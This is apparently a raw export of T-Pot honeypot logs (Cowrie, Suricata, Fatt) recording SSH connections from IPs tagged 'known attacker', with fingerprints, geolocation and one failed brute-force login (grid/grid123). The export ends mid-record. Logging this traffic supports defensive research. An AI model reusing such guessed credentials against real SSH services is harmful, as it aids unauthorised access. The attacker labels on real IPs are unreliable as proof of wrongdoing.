30564	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:36:20.229893+03	2021-09-20 14:45:03.325142+03	{"_id": "ggb-AnwBvYTbRNuEHT1o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:55404 (192.168.176.2:22) [session: 9d76a54c3615]", "session": "9d76a54c3615", "@version": "1", "protocol": "ssh", "src_port": 55404, "dest_port": 22, "timestamp": "2021-09-20T11:36:20.229893Z", "@timestamp": "2021-09-20T11:36:20.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30565	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:36:20.240646+03	2021-09-20 14:45:03.327142+03	{"_id": "gwb-AnwBvYTbRNuEHT1o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9d76a54c3615", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:20.240646Z", "@timestamp": "2021-09-20T11:36:20.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30566	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:36:20.40811+03	2021-09-20 14:45:03.328142+03	{"_id": "hAb-AnwBvYTbRNuEHT1o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9d76a54c3615", "@version": "1", "timestamp": "2021-09-20T11:36:20.408110Z", "@timestamp": "2021-09-20T11:36:20.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30567	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:36:20.39794+03	2021-09-20 14:45:03.330141+03	{"_id": "hgb-AnwBvYTbRNuEHj32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2219555115299611, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55404, "dest_port": 22, "timestamp": "2021-09-20T11:36:20.397940Z", "@timestamp": "2021-09-20T11:36:20.397Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30568	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:20.39811+03	2021-09-20 14:45:03.331142+03	{"_id": "iAb-AnwBvYTbRNuEID0D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55404, "timestamp": "2021-09-20T11:36:20.398110", "@timestamp": "2021-09-20T11:36:20.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30569	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:36:30.947474+03	2021-09-20 14:45:03.333143+03	{"_id": "nAb-AnwBvYTbRNuESD1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:36910 (192.168.176.2:22) [session: 7cfff7edf467]", "session": "7cfff7edf467", "@version": "1", "protocol": "ssh", "src_port": 36910, "dest_port": 22, "timestamp": "2021-09-20T11:36:30.947474Z", "@timestamp": "2021-09-20T11:36:30.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30570	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:36:30.951272+03	2021-09-20 14:45:03.334141+03	{"_id": "nQb-AnwBvYTbRNuESD1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7cfff7edf467", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:30.951272Z", "@timestamp": "2021-09-20T11:36:30.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30571	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:36:31.215228+03	2021-09-20 14:45:03.336142+03	{"_id": "ngb-AnwBvYTbRNuESD1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7cfff7edf467", "@version": "1", "timestamp": "2021-09-20T11:36:31.215228Z", "@timestamp": "2021-09-20T11:36:31.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30572	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:36:31.200518+03	2021-09-20 14:45:03.337142+03	{"_id": "nwb-AnwBvYTbRNuEST3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 982677549128549, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36910, "dest_port": 22, "timestamp": "2021-09-20T11:36:31.200518Z", "@timestamp": "2021-09-20T11:36:31.200Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30573	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:31.200707+03	2021-09-20 14:45:03.338143+03	{"_id": "oAb-AnwBvYTbRNuESj3_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36910, "timestamp": "2021-09-20T11:36:31.200707", "@timestamp": "2021-09-20T11:36:31.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30574	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:36:25.791588+03	2021-09-20 14:45:03.340142+03	{"_id": "jAb-AnwBvYTbRNuEMj1_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64443, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 461, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2130063029505123, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44025, "timestamp": "2021-09-20T11:36:25.791588Z", "@timestamp": "2021-09-20T11:36:25.791Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30575	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:25.847871+03	2021-09-20 14:45:03.341142+03	{"_id": "jwb-AnwBvYTbRNuEMz2N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35426, "dest_port": 443, "timestamp": "2021-09-20T11:36:25.847871", "@timestamp": "2021-09-20T11:36:25.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30576	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:36:20.406024+03	2021-09-20 14:45:03.343141+03	{"_id": "hwb-AnwBvYTbRNuEID0D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55404, "dest_port": 22, "timestamp": "2021-09-20T11:36:20.406024", "@timestamp": "2021-09-20T11:36:20.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30577	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:36:21.133288+03	2021-09-20 14:45:03.344142+03	{"_id": "iQb-AnwBvYTbRNuEIT0z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [grid/grid123] failed", "session": "9d76a54c3615", "@version": "1", "password": "grid123", "username": "grid", "timestamp": "2021-09-20T11:36:21.133288Z", "@timestamp": "2021-09-20T11:36:21.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30578	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:36:22.30459+03	2021-09-20 14:45:03.346142+03	{"_id": "igb-AnwBvYTbRNuEJT0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9d76a54c3615", "@version": "1", "duration": 2.072173595428467, "timestamp": "2021-09-20T11:36:22.304590Z", "@timestamp": "2021-09-20T11:36:22.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30579	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:36:31.214564+03	2021-09-20 14:45:03.347144+03	{"_id": "oQb-AnwBvYTbRNuESj3_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 